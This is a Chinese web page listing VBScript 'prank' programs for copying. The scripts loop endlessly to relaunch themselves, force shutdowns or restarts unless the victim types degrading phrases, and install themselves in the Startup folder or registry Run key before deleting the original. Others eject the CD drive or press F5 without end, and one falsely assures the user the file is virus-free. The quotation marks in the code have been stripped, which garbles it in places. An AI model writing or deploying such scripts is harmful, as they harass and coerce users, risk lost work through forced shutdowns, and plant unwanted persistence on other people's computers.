云南龙网

  1. 首页 > 云知道 > >

三十二个vbs整蛊代码 整人代码大全( 三 )

小知识

复制代码代码如下:
do createobject(wscript.shell).run chr(34) & wscript.scriptname & chr(34) loop复制代码代码如下:
msgbox此文件无毒 ， 请放心使用 。,vbretrycancel,系统提示 。 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.Run cmd.exe /c shutdown -s -t 300 wscript.sleep 2000 dim a do a=inputbox(输入abc ， 否则关机 。) if a=abc then msgbox 很遗憾 ， 你中招了 ， 这是整人程序 ， 你就等着关机吧！ exit do else msgbox乖点 ， 输入abc end if loop复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 6 -c 说我是猪 ， 不说我是猪就一分钟关你机 ， 不信 ， 试试 ,0 ,true dim a do while(a <> 我是猪) a = inputbox (说我是猪,就不关机 ， 快撒 ， 说 我是猪 ,说不说,不说,8000,7000) msgbox 乖 loop msgbox 早说就行了嘛 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox 自己骂自己的不要脸~~~~~~,4,  复制代码代码如下:
msgbox你是不是很无聊啊？,4 msgbox我来陪你玩会儿 msgbox做好玩儿的准备吧！ do msgbox你无聊吗?,vbinformation,你无聊吗？ loop复制代码代码如下:
on error resume next set wr=createobject(scripting.filesystemobject) set ws=createobject(wscript.shell) set f = wr.getfile(wscript.scriptfullname) q=ws.regread(HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup) if not f=Win32.vbs then wr.copyfile f,q&Win32.vbs,true ws.runshutdown -p,vbhide 这个太可恶了 只好重启复制代码代码如下:
set ws=createobject(wscript.shell) do ws.sendkeys {f5} loop复制代码代码如下:
Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject(WScript.shell) RegPath =HKLMSoftwareMicrosoftWindowsCurrentVersionRun Type_Name = REG_SZ Key_Name = QUESTION.vbS Key_data = C:windowssystem32QUESTION.vbs AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject(Scripting.FileSystemObject) Set file = fso.getfile(WScript.ScriptFullName) file.copy c:windowssystem32 Set fso = CreateObject(Scripting.FileSystemObject) f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject(Wscript.Shell) objShell.Run shutdown -s -t 5,,true复制代码代码如下:
set wmp=createobject(wmplayer.ocx) set cd=wmp.cdromcollection.item(0) do cd.eject loop复制代码代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 喊我声爹 ， 快喊 ,0 ,true dim a do while(a <> 爹) a = inputbox (喊我爹,快撒 ， 喊 爹 ,喊不喊,不喊,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox loop msgbox chr(13) + chr(13) + chr(13) + 儿子 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 等下老爹买棒棒糖给你吃

推荐阅读


上一篇：如何知道狗狗认了主人

下一篇：冬日美甲新体验，温暖毛绒格纹教程